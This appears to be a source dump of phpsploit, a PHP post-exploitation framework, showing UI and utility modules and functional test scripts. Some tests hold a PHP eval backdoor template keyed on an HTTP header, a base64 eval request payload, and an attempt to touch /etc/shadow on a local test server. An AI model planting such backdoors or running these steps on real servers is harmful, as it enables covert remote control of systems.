LineBuffer(string) 50 | 51 | data = "" 52 | while True: 53 | if not data: 54 | data = buffer.readline() 55 | if not data: 56 | return result 57 | 58 | line += 1; 59 | try: 60 | pipeline = lexer(data[:-1], line=line) 61 | result += pipeline 62 | data = "" 63 | if string is None: 64 | break 65 | 66 | except SyntaxWarning as error: 67 | addline = buffer.readline() 68 | if not addline: 69 | raise error 70 | data += addline 71 | 72 | return result 73 | 74 | 75 | parse = Parser() 76 | -------------------------------------------------------------------------------- /src/ui/__init__.py: -------------------------------------------------------------------------------- 1 | """Phpsploit User Interface MetaPackage""" 2 | -------------------------------------------------------------------------------- /src/ui/console.py: -------------------------------------------------------------------------------- 1 | """Run a python console at runtime from Phpsploit 2 | """ 3 | __all__ = ["Console"] 4 | 5 | import traceback 6 | # alias exit() to prevent I/O fd closure bug on Console() interpreter 7 | # pylint: disable=redefined-builtin,unused-import 8 | from sys import exit 9 | 10 | from ui.color import colorize 11 | from decorators.isolate_readline_context import isolate_readline_context 12 | 13 | 14 | class Console: 15 | """Create a python console to be run at phpsploit runtime 16 | 17 | In order of preference, it tries to run 'bpython' then 'IPython'. 18 | If none of these interpreters can be found, it defaults to 19 | default_console() method. 20 | 21 | >>> c = Console("Python console") 22 | 23 | >>> c() 24 | Python console 25 | > print(len([1,2,3])) 26 | 3 27 | """ 28 | def __init__(self, banner="Python console"): 29 | self.banner = banner 30 | 31 | @isolate_readline_context 32 | def __call__(self): 33 | """Execute the best available python console 34 | 35 | This method trie to run the best available 36 | python console (bpython and ipython). 37 | Otherwise, it fallbacks to default_console() 38 | method. 39 | 40 | Finally, the chosen console method is executed. 41 | 42 | NOTE: This method is wrapped with the 43 | `@isloate_io_context` decorator. 44 | """ 45 | try: 46 | import bpython 47 | del bpython 48 | console = self.bpython_console 49 | except ImportError: 50 | try: 51 | import IPython 52 | del IPython 53 | console = self.ipython_console 54 | except ImportError: 55 | console = self.default_console 56 | return console() 57 | 58 | def default_console(self): 59 | """Simple python console interpreter 60 | 61 | Used as fallback when neither of other consoles are available 62 | It basically consists in an exec(input("> ")) loop 63 | """ 64 | print(colorize("%BoldWhite", self.banner)) 65 | while True: 66 | try: 67 | # pylint: disable=exec-used 68 | exec(input("> ")) 69 | except EOFError: 70 | print() 71 | return 0 72 | except SystemExit as e: 73 | if e.code is not None: 74 | print(e.code) 75 | return int(bool(e.code)) 76 | except BaseException as e: 77 | e = traceback.format_exception(type(e), e, e.__traceback__) 78 | e.pop(1) 79 | print(colorize("%Red", "".join(e))) 80 | 81 | def bpython_console(self): 82 | """bpython console interpreter 83 | 84 | https://bpython-interpreter.org/ 85 | """ 86 | # pylint: disable=import-error 87 | import bpython 88 | bpython.embed(banner=self.banner) 89 | return 0 90 | 91 | def ipython_console(self): 92 | """IPython console interpreter 93 | 94 | https://ipython.org/ 95 | """ 96 | # pylint: disable=import-error 97 | import IPython 98 | print(colorize("%BoldWhite", self.banner)) 99 | IPython.embed() 100 | return 0 101 | -------------------------------------------------------------------------------- /src/ui/input/__init__.py: -------------------------------------------------------------------------------- 1 | """PhpSploit User Input (STDIN) Handler 2 | 3 | This package provides UI features relaed to Standard Input 4 | """ 5 | __all__ = ["Expect", "isatty"] 6 | 7 | import sys 8 | from .expect import Expect 9 | 10 | 11 | def isatty() -> bool: 12 | """Return whether input is an 'interactive' stream. 13 | 14 | Return False if it can't be determined. 15 | """ 16 | return sys.__stdin__.isatty() 17 | -------------------------------------------------------------------------------- /src/ui/output/__init__.py: -------------------------------------------------------------------------------- 1 | """PhpSploit User Output (STDOUT) Handler 2 | 3 | This package provides UI features relaed to Standard Output 4 | """ 5 | __all__ = ["Wrapper", "isatty", "colors", "size", "columns", "lines"] 6 | 7 | import os 8 | import sys 9 | import shutil 10 | 11 | from .wrapper import Stdout as Wrapper 12 | 13 | 14 | def isatty() -> bool: 15 | """True if STDOUT is connected to a tty device.""" 16 | return sys.__stdout__.isatty() 17 | 18 | 19 | def colors() -> int: 20 | """Returns the number of colors actually supported by current 21 | output. Actually, possible values are: 22 | 0 -> for non terminal outputs 23 | 8 -> for windows or standard unix terminals 24 | 256 -> for terminals which 'TERM' env var contains '256' 25 | """ 26 | if not isatty(): 27 | return 0 28 | if "TERM" in os.environ and "256" in os.environ["TERM"]: 29 | return 256 30 | return 8 31 | 32 | 33 | def size(fallback=(80, 24)) -> tuple: 34 | """Get the size of the terminal window.""" 35 | return tuple(shutil.get_terminal_size(fallback=fallback)) 36 | 37 | 38 | def columns() -> int: 39 | """Get the number of columns of the terminal window.""" 40 | return size()[0] 41 | 42 | 43 | def lines() -> int: 44 | """Get the number of lines of the terminal window.""" 45 | return size()[1] 46 | -------------------------------------------------------------------------------- /src/utils/__init__.py: -------------------------------------------------------------------------------- 1 | """Miscelaneous utils for phpsploit internals 2 | """ 3 | 4 | # path related utils 5 | from . import path 6 | from . import regex 7 | from . import time 8 | -------------------------------------------------------------------------------- /src/utils/path.py: -------------------------------------------------------------------------------- 1 | """File path handling 2 | 3 | The functions described here provide some aditional features 4 | unavailable in the os.path standard module. 5 | 6 | Author: nil0x42 7 | """ 8 | 9 | import os 10 | 11 | 12 | def truepath(*elems): 13 | """Joins the given path(s), expanding environment variables 14 | and user directory ('~'). 15 | """ 16 | expand = lambda s: os.path.expandvars(os.path.expanduser(s)) 17 | elems = (expand(s) for s in elems) 18 | path = os.path.join(*elems) 19 | return os.path.realpath(path) 20 | -------------------------------------------------------------------------------- /src/utils/regex.py: -------------------------------------------------------------------------------- 1 | """Pre-compiled regexes for phpsploit 2 | """ 3 | __all__ = ["WORD_TOKEN"] 4 | 5 | import re 6 | 7 | # check is given string is a valid phpsploit word token 8 | # usage: WORD_TOKEN.fullmatch("string") 9 | WORD_TOKEN = re.compile("[A-Za-z0-9@_.-]+") 10 | -------------------------------------------------------------------------------- /src/utils/time.py: -------------------------------------------------------------------------------- 1 | """Time related functions 2 | 3 | Author: nil0x42 4 | """ 5 | 6 | import re 7 | import random 8 | import datetime 9 | 10 | 11 | def get_smart_date(value): 12 | """Return a date string usable by php strtotime() 13 | 14 | >>> get_smart_date("2016-04-15 23:04:12") 15 | '2016-04-15 23:04:12' 16 | 17 | >>> # error handling with ValueError() messages 18 | >>> get_smart_date("2004-99-99") 19 | Traceback (most recent call last): 20 | File "", line 1, in 21 | utils.time.get_smart_date("2004-99-99") 22 | File "/home/user/dev/time.py", line 52, in get_smart_date 23 | raise ValueError("%r: %s" % (value, e)) 24 | ValueError: '2004-99-99': format must be YYYY[-mm[-dd[ HH[:MM[:SS]]]]] 25 | 26 | >>> # random valid date completion when partially given 27 | >>> get_smart_date("2011-09") 28 | '2001-09-15 16:53:28' 29 | >>> get_smart_date("2011-09-11 13") 30 | '2011-09-11 13:29:42' 31 | 32 | NOTE: 33 | On phpsploit's php side, the set_smart_date() 34 | function can be used to generate a timestamp. 35 | 36 | """ 37 | human_fmt = "YYYY[-mm[-dd[ HH[:MM[:SS]]]]]" 38 | python_fmt = "%Y-%m-%d %H:%M:%S" 39 | regex = (r"^(\d{4})(?:-(\d{2})(?:-(\d{2})(?: (\d" 40 | r"{2})(?::(\d{2})(?::(\d{2}))?)?)?)?)?$") 41 | limits = (None, (1, 12), (1, 28), (0, 23), (0, 59), (0, 59)) 42 | try: 43 | items = list(re.findall(regex, value)[0]) 44 | except IndexError: 45 | raise ValueError("%r: format must be %s" % (value, human_fmt)) 46 | if int(items[0]) < 1970: 47 | raise ValueError("%r: min year is 1970 (EPOCH)" % value) 48 | for i, limit in enumerate(limits): 49 | if not items[i]: 50 | items[i] = "%02d" % random.randrange(limit[0], limit[1] + 1) 51 | result = "%s-%s-%s %s:%s:%s" % tuple(items) 52 | try: 53 | datetime.datetime.strptime(result, python_fmt) 54 | except ValueError as err: 55 | if python_fmt in str(err): 56 | err = "format must be %s" % human_fmt 57 | raise ValueError("%r: %s" % (value, err)) 58 | return result 59 | -------------------------------------------------------------------------------- /test/README.md: -------------------------------------------------------------------------------- 1 | # Phpsploit Functional Tests Suite 2 | 3 | # Usage: 4 | ./RUN.sh --help 5 | 6 | # About: 7 | * The test launcher recursively runs all tests in subdirectories 8 | * Only executable scripts are run by test launcher (chmod +x). 9 | -------------------------------------------------------------------------------- /test/TODO.md: -------------------------------------------------------------------------------- 1 | MISC TESTS TO PERFORM 2 | ===================== 3 | 4 | 5 | # Proxy feature: 6 | - Test http/https/socks4/socks5 proxy tunneling. 7 | - Test proxy tunnelling, with proxy gathered from `http_proxy` and 8 | `https_proxy` environment variables. 9 | 10 | # Settings 11 | - Test `%%DEFAULT_VALUE%%` magic value for each setting. 12 | 13 | # Core commands: 14 | - All options of each available core command must be tested. 15 | - Test expected return values 16 | 17 | # Plugins: 18 | - All options of each available plugin must be tested. 19 | - Test expected return values 20 | 21 | # Tunnel: 22 | - Test 23 | -------------------------------------------------------------------------------- /test/backward_compat/v2.1.4/RUN.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | < $SCRIPTDIR/phpsploit.session \ 4 | sed -e "s/127.0.0.1:64956/$TARGET/g" \ 5 | > $TMPDIR/tmp-session 6 | 7 | $PHPSPLOIT -e "session load $TMPDIR/tmp-session" || FAIL 8 | 9 | phpsploit_pipe session load $TMPDIR/tmp-session || FAIL 10 | 11 | # this one must FAIL (not confirming env reset) 12 | phpsploit_pipe "exploit\nN" > $TMPFILE && FAIL 13 | assert_contains $TMPFILE "TARGET server have changed, are you sure you want to reset environment as shown above" 14 | assert_contains $TMPFILE "Exploitation aborted" 15 | 16 | # this one must SUCCEED (confirming env reset) 17 | phpsploit_pipe "exploit\nY" > $TMPFILE || FAIL 18 | assert_contains $TMPFILE "TARGET server have changed, are you sure you want to reset environment as shown above" 19 | assert_contains $TMPFILE "Environment correctly reset" 20 | assert_contains $TMPFILE "Shell obtained by PHP" 21 | -------------------------------------------------------------------------------- /test/backward_compat/v2.1.4/phpsploit.session: -------------------------------------------------------------------------------- 1 | (dp0 2 | S'PSCOREVER' 3 | p1 4 | I2 5 | sS'SET' 6 | p2 7 | (dp3 8 | S'REQ_INTERVAL' 9 | p4 10 | S'1-10' 11 | p5 12 | sS'REQ_ZLIB_TRY_LIMIT' 13 | p6 14 | S'5mb' 15 | p7 16 | sS'TMPPATH' 17 | p8 18 | S'/tmp' 19 | p9 20 | sS'SAVEPATH' 21 | p10 22 | S'/tmp' 23 | p11 24 | sS'TEXTEDITOR' 25 | p12 26 | S'/usr/sbin/nano' 27 | p13 28 | sS'REQ_MAX_HEADERS' 29 | p14 30 | S'100' 31 | p15 32 | sS'REQ_HEADER_PAYLOAD' 33 | p16 34 | S"eval(base64_decode('%%BASE64%%'))" 35 | p17 36 | sS'REQ_MAX_POST_SIZE' 37 | p18 38 | S'8Mb' 39 | p19 40 | sS'HTTP_USER_AGENT' 41 | p20 42 | S'file://framework/misc/http_user_agents.lst' 43 | p21 44 | sS'TARGET' 45 | p22 46 | S'http://127.0.0.1:64956' 47 | p23 48 | sS'PASSKEY' 49 | p24 50 | S'phpSpl01t' 51 | p25 52 | sS'BACKDOOR' 53 | p26 54 | S"" 55 | p27 56 | sS'REQ_DEFAULT_METHOD' 57 | p28 58 | S'GET' 59 | p29 60 | sS'PROXY' 61 | p30 62 | S'None' 63 | p31 64 | sS'WEBBROWSER' 65 | p32 66 | S'%%DEFAULT%%' 67 | p33 68 | sS'REQ_MAX_HEADER_SIZE' 69 | p34 70 | S'8Kb' 71 | p35 72 | ssS'ENV' 73 | p36 74 | (dp37 75 | S'WRITE_WEBDIR' 76 | p38 77 | S'/tmp/phpsploit-temp-server' 78 | p39 79 | sS'WRITE_TMPDIR' 80 | p40 81 | S'/tmp' 82 | p41 83 | sS'CWD' 84 | p42 85 | S'/home/user' 86 | p43 87 | sS'WEB_ROOT' 88 | p44 89 | S'/tmp/phpsploit-temp-server' 90 | p45 91 | ssS'LNK_HASH' 92 | p46 93 | S'YTQwMzZj' 94 | p47 95 | sS'CURRENT_SHELL' 96 | p48 97 | S'' 98 | p49 99 | sS'SRV' 100 | p50 101 | (dp51 102 | S'addr' 103 | p52 104 | S'127.0.0.1' 105 | p53 106 | sS'platform' 107 | p54 108 | S'nix' 109 | p55 110 | sS'soft' 111 | p56 112 | S'PHP 8.1.6 Development Server' 113 | p57 114 | sS'client_addr' 115 | p58 116 | S'127.0.0.1' 117 | p59 118 | sS'signature' 119 | p60 120 | S'5c7da073f83b860fec93e182530a0d62' 121 | p61 122 | sS'separator' 123 | p62 124 | S'/' 125 | p63 126 | sS'webroot' 127 | p64 128 | g45 129 | sS'host' 130 | p65 131 | g53 132 | sS'write_webdir' 133 | p66 134 | g39 135 | sS'write_tmpdir' 136 | p67 137 | g41 138 | sS'user' 139 | p68 140 | S'user' 141 | p69 142 | sS'phpver' 143 | p70 144 | S'8.1.6' 145 | p71 146 | sS'home' 147 | p72 148 | g43 149 | sS'os' 150 | p73 151 | S'Linux' 152 | p74 153 | sS'port' 154 | p75 155 | S'64956' 156 | p76 157 | ssS'LNK' 158 | p77 159 | (dp78 160 | S'URL' 161 | p79 162 | g23 163 | sS'BACKDOOR' 164 | p80 165 | S"" 166 | p81 167 | sS'DOMAIN' 168 | p82 169 | S'127.0.0.1:64956' 170 | p83 171 | sS'HASH' 172 | p84 173 | g47 174 | sS'PASSKEY' 175 | p85 176 | g25 177 | ssS'PSVERSION' 178 | p86 179 | S'2.1.4' 180 | p87 181 | sS'SRV_HASH' 182 | p88 183 | g61 184 | s. -------------------------------------------------------------------------------- /test/commands/README.md: -------------------------------------------------------------------------------- 1 | # Functional Tests: commands 2 | 3 | Test all `Core Commands` of phpsploit. 4 | Core commands can be identified in `ui/interface.py`. Each one 5 | is implemented as a `'do_' + ` method. 6 | 7 | Core commands can be listed with `phpsploit -e help`. 8 | -------------------------------------------------------------------------------- /test/commands/corectl/display-http-requests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # test behavior of `corectl display-http-requests` 4 | 5 | # should fail with msg if no requests were sent: 6 | phpsploit_pipe corectl display-http-requests > $TMPFILE && FAIL 7 | assert_contains $TMPFILE << EOF 8 | ^\[-\] From now, phpsploit didn't sent any HTTP(s) request$ 9 | EOF 10 | 11 | 12 | # after exploit, a single GET request is present: 13 | phpsploit_pipe exploit > $TMPFILE || FAIL 14 | phpsploit_pipe corectl display-http-requests > $TMPFILE || FAIL 15 | assert_contains $TMPFILE << EOF 16 | ^\[\*\] Listing last payload's HTTP(s) requests:$ 17 | ^### REQUEST 1$ 18 | ^GET / HTTP/1.1$ 19 | ^Accept-Encoding: identity$ 20 | ^Connection: close$ 21 | ^Zzaa: 22 | ^Zzab: 23 | EOF 24 | assert_not_contains $TMPFILE << EOF 25 | ^\[-\] From now, phpsploit didn't sent any HTTP(s) request$ 26 | ^### REQUEST 2$ 27 | ^POST / HTTP/1.1$ 28 | ^phpSpl01t= 29 | EOF 30 | [ "$(grep -c REQUEST $TMPFILE)" -eq 1 ] || FAIL 31 | 32 | 33 | # use POST method, with 2k POST_DATA limitation, and check that all 34 | # requests were logged as expected after running `ls` plugin: 35 | phpsploit_pipe set REQ_DEFAULT_METHOD POST > $TMPFILE || FAIL 36 | phpsploit_pipe set REQ_MAX_POST_SIZE 2k > $TMPFILE || FAIL 37 | 38 | phpsploit_pipe "ls\nP" > $TMPFILE-x # add P to confirm multireq by POST 39 | num_reqs=$(grep 'will be' $TMPFILE-x | sed -E 's/.* ([0-9]+) .* will be .*/\1/') 40 | 41 | phpsploit_pipe corectl display-http-requests > $TMPFILE || FAIL 42 | [[ "$(grep -c REQUEST $TMPFILE)" == "$num_reqs" ]] || FAIL "$num_reqs" 43 | assert_contains $TMPFILE << EOF 44 | ^\[\*\] Listing last payload's HTTP(s) requests:$ 45 | ^### REQUEST 1$ 46 | ^### REQUEST 2$ 47 | ^### REQUEST $num_reqs$ 48 | ^POST / HTTP/1.1$ 49 | ^phpSpl01t= 50 | EOF 51 | assert_not_contains $TMPFILE << EOF 52 | ^\[-\] From now, phpsploit didn't sent any HTTP(s) request$ 53 | ^### REQUEST $(( $num_reqs + 1 ))$ 54 | ^GET / HTTP/1.1$ 55 | ^Zzaa: 56 | ^Zzab: 57 | EOF 58 | -------------------------------------------------------------------------------- /test/core/README.md: -------------------------------------------------------------------------------- 1 | # Functional Tests: core 2 | 3 | This 'miscellaneous' test category is intended to test 4 | internal framework funcionalities related to general 5 | behavior, and cannot be clearly identified by another test 6 | category. 7 | -------------------------------------------------------------------------------- /test/core/core.plugins/test-plugins/invalid.category/notloaded/plugin.py: -------------------------------------------------------------------------------- 1 | """Print working directory 2 | 3 | SYNOPSIS: 4 | pwd 5 | 6 | DESCRIPTION: 7 | Print the absolute path name of current/working remote 8 | directory on target server. 9 | 10 | * PASSIVE PLUGIN: 11 | No requests are sent to server, as current directory 12 | is known by $PWD environment variable (`env PWD`) 13 | 14 | AUTHOR: 15 | nil0x42 16 | """ 17 | 18 | print("") 19 | -------------------------------------------------------------------------------- /test/core/core.plugins/test-plugins/system/is-in-existing_category/plugin.py: -------------------------------------------------------------------------------- 1 | """Print working directory 2 | 3 | SYNOPSIS: 4 | is-valid 5 | 6 | DESCRIPTION: 7 | test plugin 8 | 9 | AUTHOR: 10 | nil0x42 11 | """ 12 | 13 | print("") 14 | -------------------------------------------------------------------------------- /test/core/core.plugins/test-plugins/valid_category-name/cannot-compile/plugin.py: -------------------------------------------------------------------------------- 1 | """Print working directory 2 | 3 | SYNOPSIS: 4 | is-valid 5 | 6 | DESCRIPTION: 7 | test plugin 8 | 9 | AUTHOR: 10 | nil0x42 11 | """ 12 | 13 | # this fails with python3 14 | print "" 15 | -------------------------------------------------------------------------------- /test/core/core.plugins/test-plugins/valid_category-name/invalid-name.notloaded/plugin.py: -------------------------------------------------------------------------------- 1 | """Print working directory 2 | 3 | SYNOPSIS: 4 | pwd 5 | 6 | DESCRIPTION: 7 | Print the absolute path name of current/working remote 8 | directory on target server. 9 | 10 | * PASSIVE PLUGIN: 11 | No requests are sent to server, as current directory 12 | is known by $PWD environment variable (`env PWD`) 13 | 14 | AUTHOR: 15 | nil0x42 16 | """ 17 | 18 | print("") 19 | -------------------------------------------------------------------------------- /test/core/core.plugins/test-plugins/valid_category-name/is-empty/plugin.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nil0x42/phpsploit/aea961df241a29703ae76c26cef52e1169f74a06/test/core/core.plugins/test-plugins/valid_category-name/is-empty/plugin.py -------------------------------------------------------------------------------- /test/core/core.plugins/test-plugins/valid_category-name/is-valid/plugin.py: -------------------------------------------------------------------------------- 1 | """Print working directory 2 | 3 | SYNOPSIS: 4 | is-valid 5 | 6 | DESCRIPTION: 7 | test plugin 8 | 9 | AUTHOR: 10 | nil0x42 11 | """ 12 | 13 | print("") 14 | -------------------------------------------------------------------------------- /test/core/core.plugins/test-plugins/valid_category-name/plugin-py_not-readable/plugin.py: -------------------------------------------------------------------------------- 1 | """Print working directory 2 | 3 | SYNOPSIS: 4 | is-valid 5 | 6 | DESCRIPTION: 7 | test plugin 8 | 9 | AUTHOR: 10 | nil0x42 11 | """ 12 | 13 | print("") 14 | -------------------------------------------------------------------------------- /test/interface/README.md: -------------------------------------------------------------------------------- 1 | # Functional Tests: interface 2 | 3 | Test related to command-line user interface behavior 4 | and general user experience. 5 | -------------------------------------------------------------------------------- /test/interface/issue73_show-stacktrace-if-VERBOSITY.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Issue #73: Show stack trace when VERBOSITY is True 4 | # ref: https://github.com/nil0x42/phpsploit/issues/73 5 | 6 | stacktrace='Traceback (most recent call last)' 7 | 8 | # this SHOULD NOT contain stack trace: 9 | $PHPSPLOIT -e 'set VERBOSITY False; source /' > $TMPFILE && FAIL 10 | grep -q "$stacktrace" $TMPFILE && FAIL 11 | 12 | # this SOULD contain stack trace: 13 | $PHPSPLOIT -e 'set VERBOSITY True; source /' > $TMPFILE && FAIL 14 | grep -q "$stacktrace" $TMPFILE || FAIL 15 | -------------------------------------------------------------------------------- /test/interface/phpsploit-launcher.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ### 4 | ### func tests for phpsploit launcher (./phpsploit) 5 | ### 6 | 7 | ### 8 | ### Early Ctrl-C interrupt (SIGINT) 9 | ### 10 | > $TMPFILE 11 | # testing different timeouts because it depends on time needed 12 | # to load phpsploit for current platform/interpreter 13 | timeout -s INT 0.05 $RAW_PHPSPLOIT --help > $TMPFILE-out 2>> $TMPFILE 14 | timeout -s INT 0.1 $RAW_PHPSPLOIT --help > $TMPFILE-out 2>> $TMPFILE 15 | timeout -s INT 0.15 $RAW_PHPSPLOIT --help > $TMPFILE-out 2>> $TMPFILE 16 | timeout -s INT 0.2 $RAW_PHPSPLOIT --help > $TMPFILE-out 2>> $TMPFILE 17 | assert_contains $TMPFILE "\[-\] .* initialization interrupted$" 18 | rm $TMPFILE-out 19 | 20 | ### 21 | ### Use phpsploit as a script's shebang 22 | ### 23 | cat > $TMPFILE-script << EOF 24 | #!$RAW_PHPSPLOIT 25 | session 26 | EOF 27 | chmod +x $TMPFILE-script 28 | $TMPFILE-script > $TMPFILE 29 | grep -qi '^phpsploit session' $TMPFILE || FAIL 30 | # test with $PHPSPLOIT (to make coverage happy) 31 | $PHPSPLOIT $TMPFILE-script > $TMPFILE 32 | grep -qi '^phpsploit session' $TMPFILE || FAIL 33 | rm $TMPFILE-script 34 | -------------------------------------------------------------------------------- /test/interface/tty-colors.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # check that tty colors are rendered within a tty 4 | # and not rendered otherwise 5 | 6 | cat > $TMPFILE-src << EOF 7 | # phpsploit source file 8 | help help 9 | INV4LID_COMMAND 10 | source /INV4LID_PATH 11 | set BACKDOOR "@eval(\$_SERVER['HTTP_%%PASSKEY%%'])" 12 | set BACKDOOR 13 | set REQ_INTERVAL 1-10 14 | set REQ_INTERVAL 15 | set VERBOSITY "TRUE" 16 | set VERBOSITY "FALSE" 17 | exploit --get-backdoor 18 | EOF 19 | 20 | cmd="$PHPSPLOIT -s $TMPFILE-src" 21 | 22 | # raw output SHOULD NOT have ansi colors 23 | $cmd | rm_trailing_newlines | grep -v ' plugins correctly loaded' > $TMPFILE || FAIL 24 | grep -Pq '\033\[' $TMPFILE && FAIL 25 | 26 | # tty output SHOULD have ansi colors 27 | faketty $cmd | rm_trailing_newlines | grep -v ' plugins correctly loaded' > $TMPFILE-2 28 | grep -Pq '\033\[' $TMPFILE-2 || FAIL 29 | 30 | # assert file contains at least 500 ansi colors 31 | ansi_colors=$(perl -lne 'END {print $c} $c += s/\033\[//g' $TMPFILE-2) 32 | [ "$ansi_colors" -lt 500 ] && FAIL $ansi_colors 33 | 34 | # ensure `exploit --get-backdoor` gets colored by pygments 35 | ansi_colors=$(grep -v BACKDOOR $TMPFILE-2 | grep HTTP_PHPSPL01T \ 36 | | perl -lne 'END {print $c} $c += s/\033\[//g') 37 | [ "$ansi_colors" -lt 9 ] && FAIL $ansi_colors 38 | 39 | # both should be equal after removing ansi colors 40 | decolorize $TMPFILE-2 41 | diff $TMPFILE $TMPFILE-2 || FAIL 42 | -------------------------------------------------------------------------------- /test/plugins/README.md: -------------------------------------------------------------------------------- 1 | # Functional Tests: plugins 2 | 3 | Test all `Plugins` of phpsploit. 4 | Plugins commands are available within the UI as soon 5 | as phpsploit is connected to a remote target. 6 | 7 | Built-in plugins can be identified in `plugins/` directory, 8 | and can be listed with `phpsploit -e help` (if connected to remote TARGET). 9 | -------------------------------------------------------------------------------- /test/plugins/issue74_non-connected-plugin-run-errmsg.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Issue #74: 4 | # Make warning message explicit when running plugin in non-connected mode 5 | # ref: https://github.com/nil0x42/phpsploit/issues/74 6 | 7 | phpsploit_pipe 'pwd' > $TMPFILE && FAIL 8 | grep -q 'Must connect to run `pwd` plugin' $TMPFILE || FAIL 9 | 10 | $PHPSPLOIT -e 'exploit; pwd' > $TMPFILE || FAIL 11 | grep -q 'Must connect to run `pwd` plugin' $TMPFILE && FAIL 12 | -------------------------------------------------------------------------------- /test/plugins/touch.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # connect phpsploit 4 | phpsploit_pipe exploit > $TMPFILE 5 | 6 | # permission denied 7 | phpsploit_pipe touch /etc/shadow > $TMPFILE && FAIL 8 | assert_contains $TMPFILE "Permission denied" 9 | 10 | # no such file or directory 11 | phpsploit_pipe touch /laskdjlsakjdlaskjd/notexist > $TMPFILE && FAIL 12 | assert_contains $TMPFILE "No such file or directory" 13 | 14 | # touch directory (must work) 15 | phpsploit_pipe stat . > $TMPFILE-before || FAIL 16 | sleep 1 17 | phpsploit_pipe touch . > $TMPFILE || FAIL 18 | phpsploit_pipe stat . > $TMPFILE-after || FAIL 19 | diff $TMPFILE-before $TMPFILE-after > $TMPFILE-diff && FAIL 20 | < $TMPFILE-diff grep '^>' > $TMPFILE 21 | assert_contains $TMPFILE << EOF 22 | Accessed: 23 | Modified: 24 | EOF 25 | 26 | # touch existing file 27 | phpsploit_pipe touch index.php > $TMPFILE || FAIL 28 | 29 | # touch existing file with invalid `ref` file 30 | phpsploit_pipe touch -r notexist index.php > $TMPFILE && FAIL 31 | assert_contains $TMPFILE 'cannot stat.*notexist.*No such file' 32 | 33 | # touch existing file with existing `ref` file 34 | phpsploit_pipe touch -r index.php newfile.txt > $TMPFILE || FAIL 35 | phpsploit_pipe stat index.php > $TMPFILE-before || FAIL 36 | phpsploit_pipe stat newfile.txt > $TMPFILE-after || FAIL 37 | diff $TMPFILE-before $TMPFILE-after > $TMPFILE-diff && FAIL 38 | 39 | # touch file with -t (partial timestamp) 40 | phpsploit_pipe touch -t 2015 index.php > $TMPFILE || FAIL 41 | phpsploit_pipe stat index.php > $TMPFILE || FAIL 42 | # year must be set to 2015 43 | grep -q ' 2015-' $TMPFILE || FAIL 44 | # hh:mm:ss must NOT be set to 00:00:00 (should be random) 45 | grep -q '00:00:00' $TMPFILE && FAIL 46 | 47 | # run touch with invalid arg 48 | phpsploit_pipe touch --invalid-arg FOOBAR > $TMPFILE && FAIL 49 | -------------------------------------------------------------------------------- /test/settings/BROWSER.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | ############################################################ 4 | ### VALID VALUES 5 | ############################################################ 6 | phpsploit_pipe set BROWSER %%DEFAULT%% > $TMPFILE || FAIL 7 | assert_no_output $TMPFILE 8 | 9 | phpsploit_pipe set BROWSER default > $TMPFILE || FAIL 10 | assert_no_output $TMPFILE 11 | 12 | # issue #128: BROWSER default fails if no browser available 13 | # Ref: https://github.com/nil0x42/phpsploit/issues/128 14 | phpsploit_pipe set BROWSER disabled > $TMPFILE || FAIL 15 | assert_no_output $TMPFILE 16 | 17 | ############################################################ 18 | ### INVALID VALUES 19 | ############################################################ 20 | phpsploit_pipe set BROWSER invalid_val > $TMPFILE && FAIL 21 | assert_contains $TMPFILE << EOF 22 | ^\[\!\] Value Error: Can't bind to 'invalid_val'. Valid choices: 23 | 'disabled' 24 | EOF 25 | -------------------------------------------------------------------------------- /test/settings/PROXY.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | ############################################################ 4 | ### VALID VALUES 5 | ############################################################ 6 | 7 | valid_schemes="http https socks4 socks4a socks5 socks5h" 8 | invalid_schemes="xxx httpx httpss socks socks4h socks5a" 9 | 10 | phpsploit_pipe set PROXY None || FAIL 11 | for scheme in $invalid_schemes; do 12 | echo invalid_scheme=$scheme 13 | phpsploit_pipe set PROXY "$scheme://0.0.0.0:23487" > $TMPFILE && FAIL 14 | assert_contains $TMPFILE "Value Error: Invalid proxy format" 15 | phpsploit_pipe exploit || FAIL 16 | phpsploit_pipe exit || FAIL 17 | done 18 | 19 | for scheme in $valid_schemes; do 20 | echo valid_scheme=$scheme 21 | phpsploit_pipe set PROXY "$scheme://0.0.0.0:23487" > $TMPFILE || FAIL 22 | assert_no_output $TMPFILE 23 | phpsploit_pipe set PROXY > $TMPFILE || FAIL 24 | assert_contains $TMPFILE "$scheme://0.0.0.0:23487" 25 | phpsploit_pipe exploit > $TMPFILE && FAIL 26 | if [[ "$scheme" == "socks4"* ]]; then 27 | assert_contains $TMPFILE "Request error: Error connecting to SOCKS4 proxy " 28 | elif [[ "$scheme" == "socks5"* ]]; then 29 | assert_contains $TMPFILE "Request error: Error connecting to SOCKS5 proxy " 30 | fi 31 | done 32 | 33 | # phpsploit_pipe set PROXY https://0.0.0.0:23487 > $TMPFILE || FAIL 34 | # assert_no_output $TMPFILE 35 | # phpsploit_pipe exploit && FAIL 36 | 37 | # phpsploit_pipe set PROXY None > $TMPFILE || FAIL 38 | # assert_no_output $TMPFILE 39 | # phpsploit_pipe exploit || FAIL 40 | # phpsploit_pipe exit 41 | 42 | # phpsploit_pipe help 43 | -------------------------------------------------------------------------------- /test/settings/README.md: -------------------------------------------------------------------------------- 1 | # Functional Tests: settings 2 | 3 | Test phpsploit `Configuration Settings`. 4 | Settings can be listed with `phpsploit -e set`. 5 | -------------------------------------------------------------------------------- /test/unittest/x.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import imp 3 | 4 | sys.path.pop(0) 5 | 6 | 7 | def test_windows_os(): 8 | sys.platform = "Windows Vista" 9 | try: 10 | imp.load_source("phpsploit", "./phpsploit") 11 | import phpsploit 12 | except SystemExit as err: 13 | errmsg = str(err) 14 | assert "you should be a TARGET rather than an attacker" in errmsg 15 | -------------------------------------------------------------------------------- /utils/pylint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | SCRIPTDIR="$(readlink -f `dirname $0`)" 4 | 